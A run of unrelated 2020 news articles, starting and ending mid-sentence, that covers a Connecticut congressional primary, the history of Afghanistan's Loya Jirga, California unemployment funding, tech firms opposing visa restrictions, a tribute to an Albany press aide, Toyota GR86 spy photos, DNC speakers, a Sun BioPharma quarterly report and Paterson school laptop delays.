victim-shaming, and shunning Mr. Anderson, questioning his integrity, the release states. It was Justins goal to deal with the allegations privately among leaders to protect the victim, however party leaders brought this out publicly to discredit Mr. Anderson. Anderson did not respond to multiple requests for comment Tuesday. The East Haddam resident is a military veteran who served in Afghanistan and a former corrections officer. As primary day ended Tuesday, it was not clear who the Republican nominee to challenge Democratic Rep. Joe Courtney in the Second District would be. Mail in ballots could take multiple days to count. Thousands of primary absentee ballots may have already been cast for Gilmer before he terminated his campaign. Gilmers name was on the ballot when voters went to the polls. If Gilmer were to win the vote, the state Republican party could select a new nominee to replace him, Romano said. Gilmer works in industrial and commercial construction through his company Axe Management Industries LLC. He launched his campaign to challenge Rep. Joe Courtney, D-2, in April 2020, according to Federal Election Commission filings. Gilmer has repeatedly endorsed QAnon ideas on social media. QAnon is a conspiracy theory that alleges President Donald Trump was combatting deep state enemies and pedophiles. It has been linked to violence and potential domestic terrorism. emilie.munson@hearstdc.com; Twitter: @emiliemunson Hopes for ending four decades of war in Afghanistan are high this week after a Loya Jirga or grand assembly of more than 3,000 political elites, tribal leaders, clerics, and activists approved the release of 400 Taliban prisoners. Their unanimous decision removed the last apparent obstacle in beginning direct talks between representatives of Afghan society and the Taliban. Dubbed as intra-Afghan talks, the negotiations will be aimed at ending the war through a political resolution among Afghans. Holding the most recent consultative Loya Jirga amid the coronavirus pandemic highlights this institutions centrality in Afghan political life. For nearly three centuries, Afghans have used the forum to build consensus, grant political legitimacy, approve constitutions, and resolve major political issues. Rooted in the tribal customs of the country, the Loya Jirga became a distinct political institution with the rise of the Durrani Empire in the 18th century. Since 2004, the current Afghan Constitution recognizes it as the highest manifestation of the will of the people of Afghanistan. The Loya Jirga is an extrapolation at the national level of traditional village jirgas convened to resolve local disputes, wrote Scott Smith, a senior Afghanistan expert at Washingtons United States Institute of Peace think tank. Yet despite this nod to tradition, [Loya Jirgas] are essentially modern political institutions. The institution of the Loya Jirga gained centrality in the early 20th century. After winning sovereignty from the British in 1919, Afghanistans reformist King Amanullah drafted Afghanistans first constitution. Titled The Fundamental Principles of the Afghan Government, the supreme law was adopted by two Loya Jirgas in 1922 and 1923. This constitution was advanced and progressive at the time, Afghan historian Ghulam Mohammad Mohammadi noted. It granted both rights and some liberties and paved the way for implementing modern laws in the country. Alam Ishaqzai, a historian at Afghanistans Academy of Sciences in Kabul, says King Amanullahs supreme law preserved Afghan sovereignty and granted its citizen some rights at a time when most of the world was colonized by European powers. The main achievement of this constitution was to create an inclusive political system, which enabled all the diverse elements of the Afghan society to participate in the political system and contribute to economic and social development, he told Radio Free Afghanistan. Disagreements between Afghanistans royal ruling Musahiban dynasty ultimately led to one of the most significant Loya Jirgas in the 20th century. In 1964, a Loya Jirga adopted a new constitution, which established parliamentary democracy and constitutional monarchy. Under the supreme law, Afghanistan witnessed two elections in the period now called the decade of democracy. After a bloodless coup in July 1973, Mohammad Daud Khan also tried to gain legitimacy for his republican system from a Loya Jirga. But his critics maintain the Loya Jirga in 1976 was more of an assembly to legitimize his coup. This particular Loya Jirga eventually approved the constitution of the republic of Afghanistan and elected Daud Khan as president. But in April 1978, young radical communist officers launched a coup by killing Daud Khan and his entire extended family. Afghanistan is still reverberating from the aftershocks of the coup that ended more than 250 years of Durrani dynasty, attracted superpowers to its wars and spurred endless strife and suffering for Afghans. Leaders of the Parcham faction of the Peoples Democratic Party of Afghanistan also held Loya Jirgas. In 1985, Babrak Karmal held one to muster support for his Soviet-backed regime. After a leadership change in 1986, Dr. Najibullah held a Loya Jirga in 1987 to unveil a new constitution and a new policy of national reconciliation. The assembly also chose him as president for another six years. But Afghan authoritarian regimes failed to garner widespread support amid Soviet occupation and its chaotic aftermath. "Tyranny cannot deliver because the real representatives of the people were not able to participate in the jirgas, Mohammadi said. Afghanistans war entered its current phase after the terrorist attacks of September 11, 2001, against the United States. By the years end, a U.S.-led military attack ousted the countrys hard-line Taliban regime for hosting Al-Qaeda. Washington blamed the radical group for orchestrating the 9/11 attacks out of its sanctuaries in Afghanistan. Months after the demise of the Taliban regime in December 2001, an emergency Loya Jirga elected Hamid Karzai as president of an interim Afghan government in June 2002. A year and a half later, the constitutional Loya Jirga approved Afghanistans current constitution in January 2004. This supreme law turned the Loya Jirga into a formal institution. Article 111 of the constitution states that Loya Jirgas are assembled for major decisions are made regarding independence, territorial sovereignty, constitutional amendments, and trials of the president. According to the constitution, the Loya Jirga consists of members of the national parliament, members of provincial councils, and members of district councils. The Loya Jirga was never convened according to the measures set out in the constitution. The reason is because the district council elections were not held, the quorum of this jirga was not completed. But during this time, other large assemblies were formed under the name of consultative Loya Jirgas. The most recent Loya Jirga was the fourth such event. Like previous events, peace and security were the main issues discussed. This consultative Loya Jirga, attended by 3,200 people from across the country, decided to release 400 from a list of 5,000 Taliban prisoners. Their release was agreed on in a U.S.-Taliban agreement in the Qatari capital, Doha, in February. Senior officials and Western diplomats expect intra-Afghan talks to begin next week after the prisoner release is complete. According to Masoom Stanekzai, head of the Loya Jirga Advisory Commission, these soon to be freed Taliban had committed crimes such as kidnapping, murder, and drug trafficking, and a number of them were sentenced to death under current Afghan laws. Nilofar Sakhi, an academic at George Washington University in Washington, D.C., says that despite shortcomings in the work of such Loya Jirgas, public discourse on major issues is always beneficial. Consultation with the people on national political issues is a good thing and denotes that the government is connected to the people and includes their views on important issues, she told Radio Free Afghanistan. Loya Jirga is expected to be the main forum to debate and eventually endorse a future peace deal between the Afghan government and the Taliban. Radio Free Afghanistan correspondent Omid Marazban contributed reporting to this story. California Governor Gavin Newsom said Monday that the state would face "massive" budget cuts if it goes through with President Donald Trump's unemployment plan. According to Mercury News, Newsom said California would have to shell out $700 million a week for the state's $100 share in unemployment benefits, and that amount "simply doesn't exist." California does not have an identified source for the amount that it is being obliged, said Newsom. He also said funds from the existing CARES Act had already been allocated for pandemic response efforts such as those for schools, health, and social programs - not unemployment benefits. Financial Burden to California With millions of Californians left jobless due to the coronavirus disease 2019 (COVID-19) crisis, asking the state to supply the executive plans would pose a significant burden. "There isn't enough money sitting in the piggy bank," Newsom said in a Fox 11 report. In a Los Angeles Times report, Newsom noted that the plans would cost the state up to $2.8 billion of the CARES Act fund. Now that the $600 in weekly jobless pay has expired, Newsom and legislative leaders called on the federal government to provide more funding for states. Newsom's statement came after Trump announced Saturday that he signed an executive order to give $400 a week for jobless payment. In the order, it noted that states had to pick up 25 percent of the cost. When Trump signed the orders, he told reporters, "The states have the money. It's sitting there." Trump advised states to use a part of their CARES Act funding, but Newsom said most of it had been spent, and the rest has already been allocated for other disaster relief, like wildfires. Newsom said the $44 billion set aside by the federal government is not enough. To process the weekly claims, Newsom also warned that the state's old technology in unemployment offices would have to be reprogrammed, causing delays and raising concerns among those who need the benefits. Let Down by COVID-19 Aid Talks Despite the burden the state is facing, the governor expressed disappointment that the much higher $600 proposal of the Congress was not agreed upon by Republicans. He said the state had been waiting for progress in the Congress floor and response from the president. Newsom found "disconnect" in the Congress talks and said the "program no longer exists and there has been no bridge." For now, the California government talks with the state's legislative leaders to look for other ways of giving continued help to jobless residents since the March stay-at-home order. Renter Protection Newsom also said Monday that he is talking to legislative leaders to look for more renter protections against evictions. Evictions have were halted on April 6 and extended through September 30. Once moratoria have been lifted, more than half of Californians are at risk of getting kicked out of their own homes. California has 80 cities and 10 counties with moratoria in place. Of the state's renters, three-quarters have fallen behind on rent, especially the Latinx or Black community. Newsom said Latinx renters make up 62 percent of those unable to pay rent as a result of the economic impact of the COVID-19 crisis. Want to read more? Take a look at these! Payroll Tax Deferral Likely Worth $1,200 per Worker - Kudlow Unemployed Individuals to Get $400 Weekly; Trump Administration Plans to Cover All Costs Trump Orders $400 Boost to Jobless Benefits A number of big tech companies including Amazon, Facebook and Apple amongst others have signed on to fight President Trumps immigration freeze. 52 companies have signed an amicus brief against a proclamation that suspends temporary work visas. As reported by One Zero this comes in support of five trade organizations. These organizations are suing acting Homeland Security Secretary Chad Wolf and Secretary of State Mike Pompeo. When this first came in tech companies spoke out against the proclamation as it harmed their businesses directly. Given Trumps current relationship with some of these tech companies such as Twitter, another battle is the last thing either of them needs. Advertisement 52 tech companies sign amicus against immigration proclamation The immigration proclamation was designed to promote competitiveness and drive America innovation. This comes after Trump claimed this would protect the labor market during the pandemic. However, the amicus states the restrictions irreparably harms American workers, businesses, and the economy. The restrictions freeze green cards new immigrants and suspends H-1B and other temporary work visas. The plan is for these restrictions to remain in place until at least the end of this year. Although this was originally positioned as a move to protect jobs the reality is a bit more complex. Congressman Joaquin Castro of Texas has criticized as a ploy to advance [Trumps] anti-immigrant agenda. Advertisement Tech companies continue to lobby for more skilled work visas Historically, support for skilled worker visas has been something that tech companies have been involved in. This is largely because it suits their own business interests. For example, the H-1B visa has supplied Amazon with thousands of workers over the years. The H-1B program allows U.S. companies to sponsor up to 85,000 temporary workers. They perform specialized jobs for three years before an option of renewal. For many big tech companies, these visa programs are ways to recruit overseas talent. Bill Gates once lobbied to raise the annual limit, demonstrating their importance to these companies. Advertisement It is worth pointing out that there is another darker side to the H-1B program. For many, it leads to opportunities, successful careers and perhaps permanent residency. However, it also marks second-class status for others. In the technology industry visa holders often face discrimination, pay inequity and are regularly under threat of losing their jobs. Immigrants under this program also reported fears that under Trump they could lose their jobs and livelihoods thanks to changes in policy. Advertisement The amicus estimates that the freeze will prevent half a million work-authorized individuals from coming to the U.S. this year. It will also prevent roughly 20,000 employers from filling positions. It will be interesting to see how these immigration policies end up affecting the technology industry. Some reports suggest that AI could be harmed badly as many researchers come from abroad. However, there could be more wide-ranging impacts of these restrictions. ALBANY Even when he crossed over to the so-called dark side as a political flack, Jerry McLaughlin was respected by Capitol reporters as one of them. He was forever a guardian of the Fourth Estate, who managed to perform a kind of legislative sleight of hand that betrayed neither his senator boss nor his allegiance to truth-telling. It was a testament to his integrity and genial nature that at his funeral last week, attendees came from both sides of the political aisle, former legislative staffers and reporters in equal measure. McLaughlin died July 31 at 84 after complications from diabetes and other ailments. His career at the Capitol spanned six decades, eight years as a reporter and 47 as an adviser to governors and state senators. I was a Senate journalism fellow in 1983, the year before I joined the Times Union. I knew Jerry from working in the Capitol everybody knew Jerry and stayed connected through our mutual friendship with Joe Persico, the late historian and author. Persico was a former speech writer for Gov. Nelson A. Rockefeller, who lured McLaughlin away from the Associated Press in 1968 with more money, better hours and state benefits. McLaughlin was a towering presence, about 6-foot-2 and solidly built. He played first base for the Legislative Correspondents Association (LCA) softball team and was nicknamed The Whammer from the movie The Natural. His off-the-rack dark suits were never rumpled, but were a few years out of fashion. He did not countenance loud ties or pocket squares. He wore horn-rimmed glasses and used some sort of tonic, I think, to slick back his dark hair off a high, blocky forehead. Even in the windy concourse tunnels, I remember noticing that his hair never budged. I got invited to lunch a few times with Persico and McLaughlin. Their Rocky stories were marvelous, outrageous and off the record. Jerry was easy to like. His voice was low and soft. He was quick with a joke and generous with praise. He wove tales with deadpan humor and never buried the lead or botched a punch line. He was well-read in the classics, but passed over ten-dollar words when a simple declarative sentence said what needed to be said. He was a Vermonter, from a blue-collar family of newspaper people. He never brandished his Ivy League journalism degree. Jerry was very modest. When people asked what he did for a living, hed just say, I worked for the state, recalled McLaughlins wife, Marty. If there was any bragging to be done about Jerry, I did it. McLaughlins secret sauce during his long career in the Senate was institutional knowledge and an ability to bring a lighthearted air to staid proceedings. No matter how bad things got, Jerry always had a little smile at the corner of his mouth and hed use humor to defuse tense situations, said Stephen Sloan, former secretary of the Republican-controlled Senate. McLaughlin was press spokesman for Sen. John Marchi, a Republican who represented Staten Island Republican for 50 years and was Chairman of the powerful Finance Committee. McLaughlin made regular visits to the cubbyhole of the Associated Press, where he had once worked, on the thrid floor of the Capitol. Three AP reporters crammed into a paper-strewn warren the size of a walk-in closet. They barked into phones and pounded keyboards with a staccato urgency, under relentless wire service deadlines. Hey Jerry, AP reporter Bob Bellafiore would mutter, barely looking up without breaking stride on his story. When are you guys raising taxes? Well, Mr. Bellafiore, McLaughlin would say, I dont have anything specific I can tell you, but as a seasoned observer you might realize that certain things are about to take place. And then McLaughlin would lay out for Bellafiore, reporter Joel Stashenko and bureau chief Marc Humbert two or three issues in play in the Senate Finance Committee. He would let them connect the dots that would provide context for their stories. It was brilliant the way Jerry could thread the needle, Bellafiore said. He could turn a no-comment into a lesson in journalism. He stayed true to the people who paid his salary while understanding what reporters needed to do their jobs. Jerry was kind and bonded with you, like you were family. He had a wonderful, sweet way about him, said Humbert, one of the most hard-boiled reporters at the Capitol. Jerry instructed me in the nuances of the political game, Stashenko said. He knew how to talk to reporters as human beings, which is not very common in the flack game anymore. McLaughlin had a soft spot for mentoring newbie reporters who stumbled around the marble corridors of power like deer in the headlights. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. For a young reporter to get approval from Jerry was like getting knighted, Bellafiore said. McLaughlins death marked the passing of an era highlighted by Rockefellers swaggering ascendancy. The press corps at the time was a boozy mens club marked by late-night card games in the LCA press room on the third floor of the Capitol, a creaky relic that looked like a movie set for The Front Page. Reporters and often the people they covered convened on the shelf in the LCA press room, a dingy mezzanine jaundiced from decades of cigar smoke. It held a ratty pool table, crummy card table and battered upright piano Harry Truman once played. Ink-stained wretches swapped war stories and busted chops as ice clinked in highball glasses and bottles of whiskey were drained. Legislation was done with a handshake over a stogie and tumbler of rye, as Republicans and Democrats horse-traded without rancor. I witnessed the last hurrah of this intemperate era during my year as a Senate journalism fellow 37 years ago. Most days at lunch, McLaughlin would join Senate Republican flacks and former newspapermen Charlie Dumas and Dick Mathieu, who both worked at the Daily News. Theyd walk up to The Larkin restaurant on Lark Street and enjoyed what I assumed were two- or three-martini lunches. Mathieu returned in mid-afternoon, tie askew, face flushed and eyes glassy. He told a secretary to hold his calls, closed his office door and dropped into the sofa with a soft thud for a nap. This was colorful fodder for a novel, perhaps, but booze wrecked McLaughlins life, as it had plagued his fathers. It was a heavy-drinking culture back then, Humbert said. They all got drunk together after deadline and lobbyists dropped off cases of booze at Christmastime. McLaughlin spoke openly about being a recovering alcoholic and how the drink nearly destroyed his first marriage. He got sober several years before his wife, Sandy, died in 1989. McLaughlin was 53, with two kids to raise. He started running as therapy. He helped others with their sobriety. He married Marty in 2007. Both in their 70s, their love blossomed at the Albany Jewish Community Center, where they were lap swimmers. Jerry was charming and funny and we hit it off, she said. At the finales of the annual LCA show, a spoof variety revue performed by Capitol reporters, McLaughlin took his place on stage with the other the LCA alumni. They sang the closing number, Goodbye, Boys, a sentimental tune adapted from the 1914 Broadway musical Chin Chin. It goes like this: Goodbye boys, were through. Weve had our little fun. What we have tried to do is let in laughters sun. If we have dealt severely, we all regret sincerely. And so we say to those who run, sing strong boys, our song girls, so long all, were done. Hearing that song causes a lump to rise in my throat. Next time I hear it, I will think of Jerry McLaughlin and the Old Guard. So long. Paul Grondahl is director of the New York State Writers Institute at the University at Albany and a former Times Union reporter. He can be reached at grondahlpaul@gmail.com With more than a years worth of leaks and news about the next-gen Toyota 86 and Subaru BRZ, we finally learned in early August that Subaru was ending production of the BRZ. Toyota hasnt commented on its production timetable for the current-gen 86, but were pretty sure the current-gens end of production isnt far off. That has become more than evident now that the first spy video and images of the 2022 Toyota GR86 has surfaced online. Much like the most recent rumors suggest, neither Subaru nor Toyota are changing very much as they shift into the next generation. First 2020 Toyota GR86 Spy Shots and Video Believe it or not, this 2022 Toyota GR86 prototype was spotted on the streets of Ann Arbor, Michigan home of the University of Michigan by Instagram user Kystify that later send his spy footage to Matt Maran Motoring. Its not a long clip, and theres a lot more to be had about other news in the video you see above, but this is our first real look at whats coming from the next-gen Toyota 86 and Subaru BRZ. The first thing to call out from the short footage is something big this prototype is riding on the same platform that underpins the current models. This coincides with a report from May 2019 that said Toyotas TNGA Platform is a no-go and goes against previous reports that the 86 and BRZ would transition to Toyotas TNGA platform. Unfortunately, this means that despite Subaru and Toyotas retained partnership, and the fact that both cars will be powered by a revamped version of the Subaru Ascents FA24 turbocharger four-cylinder, neither the GR86 or next-gen BRZ will feature turbocharged power, either. Most recently in March of 2020, a new report not only said that the next-gen GR86 was set to be revealed very soon, but thatthe FA24 will give bot cars 252 horsepower and 200 pound-feet of torque a considerable increase over the current-gen 205 horsepower and 156 pound-feet of torque. More recently in a news that we said would piss you off, it was reported that Subaru is dropping the turbo from the FA24 and both cars will get just 217 horsepower and 177 pound-feet of torque. That represent a meager increase of just 12 horsepower and 21 pound-feet of torque. Word that the BRZ and GR86 will change little from this generation to the next in terms of design is also backed up by this new footage. There are some changes in store, with the prototype sporting a design vaguely reminiscent of the GRMN Sports FR Concept Platinum, but the overall changes appear as if they will be minimal in the end. It certainly looks like Subaru and Toyota are going to pass off their next-gen sports cars as new-gen models despite the fact that theyll be little more than glorified face lifts. You can expect to see them debut sometime near the very end of 2020 or in the first quarter of 2021 since they are earmarked to go on sale for the 2022 model year. WASHINGTON Gov. Andrew M. Cuomo and Senate Minority Leader Charles E. Schumer will give addresses at the Democratic National Convention, the convention committee announced Tuesday morning. The convention scheduled for Aug. 17 to 20 will feature over 30 speakers, all Democrats except Republican John Kasich, the former governor of Ohio. From New York, Rep. Alexandria Ocasio-Cortez, D-Bronx, will also speak at the event. Each night, the convention will be livestreamed from 9 to 11 p.m. with speakers joining from locations across the country. Cuomo is scheduled to speak on Aug. 17 on the theme of "we the people," after winning significant national attention in 2020 for his handling of the state's coronavirus pandemic. Schumer, D-N.Y., is scheduled to give an address on Aug. 18 with the theme "leadership matters." Other speakers include former President Barack Obama, former First Lady Michelle Obama, former President Bill Clinton, former Secretary of State Hillary Clinton, House Speaker Nancy Pelosi, D-Calif., and Biden's primary challengers, Sen. Elizabeth Warren, D-Mass., Sen. Cory Booker, D-N.J., South Bend, Ind., Mayor Pete Buttigieg, Sen. Kamala Harris, D-Calif., Sen. Amy Klobuchar, D-Minn., and Sen. Bernie Sanders, I-Vt. Both the Republican and Democratic National Conventions will be largely virtual events this year with few individuals traveling to Milwaukee, the host city. Former Vice President Joe Biden has said he will accept the party's nomination from his home state of Delaware on Aug. 20. New York delegates will not travel to Milwaukee. MINNEAPOLIS, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Sun BioPharma, Inc. (OTCQB: SNBP), a clinical stage biopharmaceutical company developing disruptive therapeutics for the treatment of patients with pancreatic cancer, today provides a business update and reports financial results for the quarter ended June 30, 2020. The second quarter of 2020 was marked by meaningful corporate, financial and clinical progress. Highlights New CEO appointed on July 15, 2020 Enrollment in clinical trial of SBP-101 has resumed, after temporary, Covid-19 related pause Fast Track designation received for SBP-101 Additional funds raised through sale of equity securities CEO Appointment In July, the company appointed of Jennifer K. Simpson, PhD, MSN, CRNP as President and Chief Executive Officer and as a member of the Board of Directors. Dr. Simpson brings more than two decades of public company executive and fundraising experience in oncology drug development and commercialization to the company. Sun BioPharma co-founder Michael T. Cullen, MD, MBA, has continued to serve as Executive Chairman of our Board of Directors. Im excited that we were able to resume enrollment in our clinical trial of SBP-101 in order to keep advancing this program for the patients who need it most, said Jennifer K. Simpson, PhD, MSN, CRNP President & Chief Executive Officer of Sun BioPharma. The company is well positioned to maximize the opportunity for value of this product candidate for patients, caregivers and investors, and we look forward to completing the design of our Phase 2 development program shortly." Enrollment Resumed in Ongoing Clinical Trial of SBP-101 In June, Sun BioPharma authorized clinical trial sites to resume enrollment in the expansion cohort of its Phase 1a/b clinical trial of SNBP-101. Enrollment in many clinical trials across the industry had been temporarily paused earlier this year to enable hospitals to prioritize the treatment of patients with COVID-19. This trial, a Phase 1a/1b study of the combination of SBP-101 with gemcitabine and nab-paclitaxel in patients previously untreated for metastatic pancreatic ductal adenocarcinoma (PDA), is being conducted at 6 sites in the United States and Australia. Story continues FDA Fast Track Designation Received for SBP-101 During the second quarter, the company received Fast Track Designation from the U.S. Food and Drug Administration (FDA) for SBP-101 for first-line treatment of patients with metastatic PDA when administered in combination with gemcitabine and nab-paclitaxel. One of FDAs Expedited Programs for Serious Conditions, Fast Track is a process designed to facilitate the development and potentially expedite the review of drugs intended to treat serious conditions and address unmet medical needs. This designation is expected to enhance Sun BioPharmas ability to develop SBP-101 as efficiently as possible. Recent Sales of Common Stock and Warrants Raised $1.7 Million In May and June, the company sold common stock and warrants in private placements resulting in net proceeds totaling approximately $1.7 million, which the company intends to use primarily to support its ongoing clinical trial. A total of 437,000 shares of common stock were issued in addition to warrants to purchase an equal number of shares of common stock. Second Quarter ended June 30, 2020 Financial Results General and administrative expenses increased to $0.7 million in the second quarter of 2020, up from $0.6 million in the second quarter of 2019. The increase in the second quarter is due to higher consulting and legal expense offset in part by lower stock compensation expense. Research and development expenses decreased to $0.4 million in the second quarter of 2020, down from $0.5 million in the second quarter of 2019. The decrease in the second quarter is due to lower spending on preclinical studies and lower stock compensation expense. Operating expenses in the second quarter were partially offset by a foreign currency exchange gain on the intercompany receivable balance. In the second quarter of 2019, other expense was primarily interest expense which resulted from the amortization of debt discount on convertible notes sold in 2018 and 2019. Net loss in the second quarter of 2020 was $0.4 million, or $0.06 per diluted share, compared to a net loss of $2.3 million, or $0.45 per diluted share, in the second quarter of 2019. Total cash was $2.3 million as of June 30, 2020. Total current assets were $3.3 million and current liabilities were $1.7 million as of the same date. About SBP-101 SBP-101 is a proprietary polyamine analogue designed to induce polyamine metabolic inhibition (PMI) by exploiting an observed high affinity of the compound for the exocrine pancreas and pancreatic ductal adenocarcinoma. The molecule has shown signals of tumor growth inhibition in clinical studies of US and Australian metastatic pancreatic cancer patients, suggesting complementary activity with an existing FDA-approved chemotherapy regimen. In clinical studies to date, SBP-101 has not shown exacerbation of the typical chemotherapy-related adverse events of bone marrow suppression and peripheral neuropathy. The safety data and PMI profile observed in Sun BioPharmas current clinical trial provides support for continued evaluation of the compound in a randomized clinical trial. For more information, please visit https://clinicaltrials.gov/ct2/show/NCT03412799. About Sun BioPharma Sun BioPharma Inc. is a clinical-stage biopharmaceutical company developing disruptive therapeutics for patients with urgent unmet medical needs. The companys initial product candidate is SBP-101 for the treatment of patients with metastatic pancreatic ductal adenocarcinoma, the most common type of pancreatic cancer. Sun BioPharma Inc. is dedicated to treating patients with pancreatic cancer and fully exploring SBP-101s potential for efficacy in combination with other agents and in treating other types of cancer. SBP-101 was invented by Raymond J. Bergeron, PhD, a Distinguished Professor Emeritus at the University of Florida. Sun BioPharma has scientific collaborations with pancreatic disease experts at Cedars Sinai Medical Center in Los Angeles, the University of Rochester in New York, Scripps MD Anderson Cancer Center in San Diego, California, the University of Florida, the Austin Health Cancer Trials Centre in Melbourne, Australia, the Ashford Cancer Centre in Adelaide, Australia, the Blacktown Cancer and Haematology Centre in Sydney, Australia and the John Flynn Private Hospital in Tugun, Queensland, Australia. The companys independent Data Safety Monitoring Board (DSMB) is Chaired by James Abbruzzese, MD, Professor of Medicine, and Chief, Division of Medical Oncology at Duke University School of Medicine. Professor David Goldstein, FRACP, Senior Staff Specialist at the Prince Henry & Prince of Wales Hospital / Cancer Care Centre in Sydney, Australia is Co-Chair of the DSMB. Further information can be found at: www.sunbiopharma.com. Sun BioPharmas common stock is currently quoted on the OTCQB tier of the over-the-counter markets administered by the OTC Markets Group, Inc. under the symbol SNBP. Cautionary Statement Regarding Forward-Looking Statements This press release contains forward-looking statements, including within the meaning of the Private Securities Litigation Reform Act of 1995. Forward-looking statements can be identified by words such as: believes, expects, intends, may, or plans. Examples of forward-looking statements include, among others, statements we make regarding, potential effects of FDA Fast Track designation, future determinations of the characteristics of SBP-101 and its effectiveness, uses of proceeds from recent financings. Forward-looking statements are neither historical facts nor assurances of future performance. Instead, they are based only on our current beliefs, expectations, and assumptions regarding the future of our business, future plans and strategies, projections, anticipated events and trends, the economy and other future conditions. Because forward-looking statements relate to the future, they are subject to inherent uncertainties, risks and changes in circumstances that are difficult to predict and many of which are outside of our control. Our actual results and financial condition may differ materially and adversely from the forward-looking statements. Therefore, you should not rely on any of these forward-looking statements. Important factors that could cause our actual results and financial condition to differ materially from those indicated in the forward-looking statements include, among others, the following: (i) our ability to obtain additional funding to complete Phase 1 clinical trial; (ii) progress and success of our Phase 1 clinical trial; (iii) the impact of the current COVID-19 pandemic on our ability to complete enrollment in our current clinical trial; (iv) our ability to demonstrate the safety and effectiveness of our SBP-101 product candidate (v) our ability to obtain regulatory approvals for our SBP-101 product candidate in the United States, the European Union or other international markets; (vi) the market acceptance and level of future sales of our SBP-101 product candidate; (vii) the cost and delays in product development that may result from changes in regulatory oversight applicable to our SBP-101 product candidate; (viii) the rate of progress in establishing reimbursement arrangements with third-party payors; (ix) the effect of competing technological and market developments; (x) the costs involved in filing and prosecuting patent applications and enforcing or defending patent claims; and (xi) such other factors as discussed in Part I, Item 1A under the caption Risk Factors in our most recent Annual Report on Form 10-K, any additional risks presented in our Quarterly Reports on Form 10-Q and our Current Reports on Form 8-K. Any forward-looking statement made by us in this press release is based on information currently available to us and speaks only as of the date on which it is made. We undertake no obligation to publicly update any forward-looking statement or reasons why actual results would differ from those anticipated in any such forward-looking statement, whether written or oral, whether as a result of new information, future developments or otherwise. Contact Information: Investor & Media Contact: Tammy Groene Sun BioPharma, Inc. 952 479 1196 Sun BioPharma, Inc Consolidated Statements of Operations and Comprehensive Loss (unaudited) (In thousands, except share and per share amounts) Three months ended June 30, Six months ended June 30, 2020 2019 Percent Change 2020 2019 Percent Change Operating expenses: General and administrative $ 670 $ 580 15.5 % $ 1,125 $ 883 27.4 % Research and development 434 508 -14.6 % 1,032 858 20.3 % Operating loss (1,104 ) (1,088 ) 1.5 % (2,157 ) (1,741 ) 23.9 % Other income (expense): Interest expense (4 ) (1,152 ) -99.7 % (9 ) (2,184 ) -99.6 % Other income 649 (101 ) -742.6 % (184 ) (68 ) 170.6 % Total other income (expense) 645 (1,253 ) -151.5 % (193 ) (2,252 ) -91.4 % Loss before income tax benefit (459 ) (2,341 ) -80.4 % (2,350 ) (3,993 ) -41.1 % Income tax benefit 40 70 -42.9 % 133 141 -5.7 % Net loss (419 ) (2,271 ) -81.5 % (2,217 ) (3,852 ) -42.4 % Foreign currency translation adjustment (loss) (715 ) 49 -1559.2 % 82 17 382.4 % Comprehensive Loss $ (1,134 ) $ (2,222 ) -49.0 % $ (2,135 ) $ (3,835 ) -44.3 % Basic and diluted net loss per share $ (0.06 ) $ (0.45 ) -86.7 % $ (0.33 ) $ (0.76 ) -56.6 % Weighted average shares outstanding - basic and diluted 6,732,470 5,070,341 32.8 % 6,681,889 5,071,378 31.8 % Sun BioPharma, Inc. Consolidated Balance Sheets (unaudited) (In thousands, except share amounts) June 30, 2020 December 31, 2019 ASSETS (Unaudited) Current assets: Cash $ 2,265 $ 2,449 Prepaid expenses and other current assets 495 283 Income tax receivable 512 361 Total current assets 3,272 3,093 Other noncurrent assets 50 51 Total assets $ 3,322 $ 3,144 LIABILITIES AND STOCKHOLDERS' EQUITY Current liabilities: Accounts payable $ 493 $ 597 Accrued expenses 320 304 Term debt 64 116 Payroll protection plan loan 103 - Unsecured promissory note payable 742 742 Total current liabilities 1,721 1,759 Stockholders' equity: Preferred stock, $0.001 par value; 10,000,000 authorized; no shares issued or outstanding as of June 30, 2020 and December 31 2019 - - Common stock, $0.001 par value; 100,000,000 authorized; 7,068,301 and 6,631,308 shares issued and outstanding as of June 30, 2020 and December 31, 2019 respectively 7 7 Additional paid-in capital 44,681 42,331 Accumulated deficit (43,475 ) (41,258 ) Accumulated comprehensive income 387 305 Total stockholders' equity 1,600 1,385 Total liabilities and stockholders' equity $ 3,322 $ 3,144 Sun BioPharma, Inc. Consolidated Statements of Cash Flows (unaudited) (In thousands) Six Months Ended June 30 2020 2019 Cash flows from operating activities: Net loss $ (2,217 ) $ (3,852 ) Adjustments to reconcile net loss to net cash used in operating activities: Stock-based compensation 376 422 Amortization of debt discount - 2,061 Amortization of debt issuance costs - 12 Non-cash interest expense - 102 Changes in operating assets and liabilities: Income tax receivable (151 ) (144 ) Prepaid expenses and other current assets 7 17 Accounts payable (14 ) (12 ) Accrued liabilities 23 (20 ) Net cash used in operating activities (1,976 ) (1,414 ) Cash flows from financing activities: Proceeds from sale of common stock and warrants net of offering costs of $2 1,746 - Proceeds from the sale of convertible promissory notes, net of debt issuance costs of $7 - 810 Proceeds from payroll protection loan 103 - Repayment of demand note - (25 ) Repayments of term debt (53 ) (55 ) Net cash provided by financing activities 1,796 730 Effect of exchange rate changes on cash (4 ) - Net change in cash (184 ) (684 ) Cash at beginning of period 2,449 1,405 Cash at end of period $ 2,265 $ 721 Supplemental disclosure of cash flow information: Cash paid during period for interest $ 4 $ 8 Supplemental disclosure of non-cash transactions: Warrants issued for future services $ 228 $ - Beneficial conversion feature on convertible notes $ - $ 353 Warrants issued with convertible notes $ - $ 419 Common stock converted into convertible notes payable $ - $ 25 Conversion of convertible notes payable and accrued interest into common stock $ - $ 2,281 Issuance of unsecured promissory note in exchange of vendor accounts payable $ - $ 742 More than 13,000 laptop computers that were supposed to arrive in Paterson well in advance of schools reopening will not be delivered until possibly a month after classes get underway, officials in the K-12 district said Tuesday. The delay raises a significant complication as Paterson prepares to offer all-remote learning as an option for possibly a third of its 29,000 students amid the coronavirus pandemic. An order for 13,845 Chromebooks was placed in early June and the district had been promised the laptops by late July or early August, school officials said. Paterson school officials estimate that between 10,000 and 11,000 students will not have Chromebooks when classes begin Sept. 8, district spokesperson Paul Brubaker told NJ Advance Media. Schools Superintendent Eileen F. Shafer said the delivery delay is the latest in a series of unpredictable disruptions to students and their education this year. Keep up with the latest in N.J. schools coverage. Sign up your email here: Providing online learning to our students is a critical part of our restart plan for the upcoming year. As we consider options and possible solutions to this complication, I want to assure students and families we will do everything we can to keep students learning in the year ahead, Shafer said via a press release provided by the school district. Paterson is the states third-largest city and nearly a quarter of residents are below the poverty line. Many students were lacking computers and Internet access when all school buildings in New Jersey closed in March and everyone switched to 